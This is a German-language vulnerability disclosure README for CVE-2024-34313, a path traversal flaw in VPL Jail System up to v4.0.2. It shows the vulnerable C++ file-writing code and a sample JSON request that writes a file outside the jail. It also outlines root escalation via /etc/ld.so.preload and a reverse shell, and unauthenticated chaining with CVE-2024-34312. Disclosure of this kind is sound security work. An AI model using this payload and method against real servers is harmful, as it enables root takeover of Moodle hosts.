
☣️ Dieses Repository enthält die Beschreibung und einen Proof of Concept für CVE-2024-34313
VPL Jail System bis einschließlich v4.0.2 wurde mit einer Path Traversal-Schwachstelle entdeckt, die das Überschreiben beliebiger Dateien und damit eine Privilegieneskalation zum Root-Benutzer ermöglicht.
Diese Schwachstelle kann mit CVE-2024-34312 kombiniert werden, um eine Moodle-Instanz remote ohne vorherige Authentifizierung zu übernehmen.
Der Jail-Server ist ein C++-Server, der nicht vertrauenswürdigen Code in einer Sandbox-Umgebung als unprivilegierter Benutzer ausführt. Der Server horcht auf einem bestimmten Port auf eingehende Verbindungen und erzeugt für jede Verbindung einen neuen Prozess.
Die Funktion commandUpdate in jail.cpp empfängt eine Map von Dateien und deren Inhalten vom Client.
ProcessMonitor::writeFile wird mit dem Dateinamen und dessen Inhalt aufgerufen und hängt einfach das Home-Verzeichnis des Jail-Benutzers mit dem Dateinamen zusammen, um den vollständigen Pfad zu erhalten.
Die Datei wird dann mit Util::writeFile auf das Dateisystem geschrieben.
Dadurch kann ein Angreifer durch Path Traversal beliebige Dateien auf das Dateisystem schreiben.
Diese Schwachstelle kann von einem Angreifer genutzt werden, um /etc/ld.so.preload mit dem Pfad zu einer gemeinsam genutzten Objektdatei zu überschreiben, die von jedem dynamisch gelinkten ausführbaren Programm auf dem System geladen wird, wie hier beschrieben. Diese gemeinsam genutzte Objektdatei kann dann verwendet werden, um beliebigen Code als Root auszuführen, z. B. um eine Reverse Shell zu starten. Um den Exploit zu erleichtern, wird die gemeinsam genutzte Objektdatei auch geladen, sobald eine setuid-Binärdatei ausgeführt wird, und die Anfrage an den Server kann ein Skript enthalten, das versucht, eine setuid-Binärdatei wie sudo auszuführen, sodass die gemeinsam genutzte Objektdatei sofort geladen wird.
In der Standardkonfiguration des Jail-Systems benötigt der Angreifer keine Authentifizierung.
Ein Beispiel-Payload, um "hello-world.txt" in das Root-Verzeichnis des Systems zu schreiben, wäre:
{
"method": "request",
"params": {
"filestodelete": [],
"files": {
"../../../hello-world.txt": "Hello, world!"
},
"fileencoding": {
"../../../hello-world.txt": 0
},
"adminticket": "82350372182271",
"pluginversion": 2021061600,
},
"id": "3-32354-684945600",
}
Das adminticket kann leicht durch Senden einer nicht authentifizierten Anfrage an das Jail-System bezogen werden. Trotz seines Namens handelt es sich nur um eine Art Session-Token. Base64-kodierte Binärdateien können hochgeladen werden, indem die Dateikodierung auf 1 gesetzt wird.
Der anfällige Code-Ausschnitt ist unten aufgeführt.
bool Jail::commandUpdate(string adminticket, RPC &rpc){
processMonitor pm(adminticket);
try {
mapstruct files = rpc.getFiles();
Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
mapstruct fileencoding = rpc.getFileEncoding();
//Save files to execution dir and options, decode data if needed
for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
string name = i->first;
string data = i->second->getString();
if ( fileencoding.find(name) != fileencoding.end()
&& fileencoding[name]->getInt() == 1 ) {
Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
data = Base64::decode(data);
if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
name = name.substr(0, name.length() - 4);
}
}
Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
pm.writeFile(name, data);
}
return true;
}
catch(...){
// ...
}
return false;
}
void processMonitor::writeFile(string name, const string &data) {
string homePath = getHomePath();
string fullName = homePath + "/" + name;
bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
if (isScript) { //Endline converted to linux
string newdata;
for (size_t i = 0; i < data.size(); i++) {
if (data[i] != '\r') {
newdata += data[i];
} else {
char p = ' ', n = ' ';
if (i > 0) p = data[i-1];
if (i + 1 < data.size()) n = data[i + 1];
if (p != '\n' && n != '\n') newdata += '\n';
}
}
Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
}else{
Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
}
}
static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
FILE *fd=fopen(name.c_str(),"wb");
if (fd == NULL) {
string dir = getDir(name);
Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
if (dir.size())
createDir(dir,user,pos);
fd = fopen(name.c_str(),"wb");
if (fd == NULL)
throw HttpException(internalServerErrorCode
,"I can't write file");
}
if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
fclose(fd);
throw HttpException(internalServerErrorCode
,"I can't write to file");
}
fclose(fd);
if (lchown(name.c_str(),user,user))
Logger::log(LOG_ERR, "Can't change file owner %m");
bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
if (chmod(name.c_str(), isScript ? 0700 : 0600))
Logger::log(LOG_ERR, "Can't change file perm %m");
}